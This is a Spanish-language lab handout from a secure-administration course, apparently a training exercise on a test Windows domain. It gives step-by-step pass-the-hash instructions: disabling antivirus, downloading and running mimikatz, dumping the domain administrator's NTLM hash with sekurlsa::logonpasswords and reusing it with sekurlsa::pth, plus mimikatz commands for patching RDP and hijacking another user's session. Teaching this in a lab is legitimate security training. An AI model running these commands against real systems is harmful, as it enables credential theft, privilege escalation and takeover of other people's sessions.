Logotipo

Descripción generada automáticamente con confianza media

![Gráfico, Gráfico circular

Descripción generada automáticamente]()

Curso Administración Segura

Securización de directorio

Aviso: Este documento puede contener información confidencial y/o secretos industriales que pertenecen a Sothis Tecnologías de la Información, S.L. Esta información se entrega únicamente para permitir al destinatario poder valorar la oferta descrita en el presente documento. Cuando se reciba el presente documento el destinatario se compromete a tratar esta información como confidencial y a no reproducir, ni divulgarla, exceptuando a personas directamente responsables de la propia evaluación del contenido de la misma, sin el consentimiento de Sothis, quien se reserva el derecho sobre retomar las copias de esta oferta una vez terminada su evaluación.

**Índice**

[1 Laboratorio 3 – Securización de entorno de directorio 4](#_Toc136862001)

# Laboratorio 3 – PASS THE HASH

1. Crear usuario en dominio, hacerlo administrador de dominio e iniciar sesión con él.
2. Mi Pc – Botón derecho propiedades – habilitar conexión remota a servidor.
3. Iniciar sesión en servidor miembro
4. Lanzar conexión RDP a DC con administrador de dominio- minizarla.
5. Volver a servidor DC
6. Desactivar antivirus: Inicio – Configuracion – Actualización de seguridad – seguridad de Windows – Protección contra virus y amenazas – administrar la configuración – Desactivar protección en tiempo real, protección basada en la nube y envío de muestras.
7. Abrir Chrome – <https://github.com/parrotsec/mimikatz> – Code – Download ZIP.
   1. Windows 10 o superior: https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919
   2. Mimikatz\_trunk.zip - descargar
8. Click en mostrar todo - Conservar archivo peligroso.
9. Ir a descargas, dentro de contendo del archivo copiar y extraer la carpeta x64
10. Una vez extraida, ejecutar como administrador (botón derecho) mimikatz – En ventana Windows protegió su PC, hacer click en Más información y Ejecutar de todas formas.
11. Abrirá línea de comandos de MIMIKATZ
12. Texto

    Descripción generada automáticamente
13. Lanzar comandos:
    1. Privilege::debug - Devolución privilege ‘20’ OK.
    2. Sekurlsa::logonpasswords ( posibilidad de ::tickets si se quieren otros tickets)
       1. Copiar el ID ntlm que acompaña a cuenta administrador de dominio
14. Iniciar sesión con usuario administrador local o usuario builtin/administrators
15. Abrir mimikatz como administrador
16. Lanzar comando:
    1. Sekurlsa::pth /user:usuario /domain:dominio /ntlm: NTLM cogido del administrador
    2. Abrirá un cmd con privilegios de administrador
    3. Lanzar comando mmc.exe o dsa.msc

Comandos para ts:

Use ts::multirdp to patch the RDP service to allow more than two users.

* Enable privileges
* privilege::debug

token::elevate

* List RDP sessions

ts::sessions

* Hijack session

ts::remote /id:2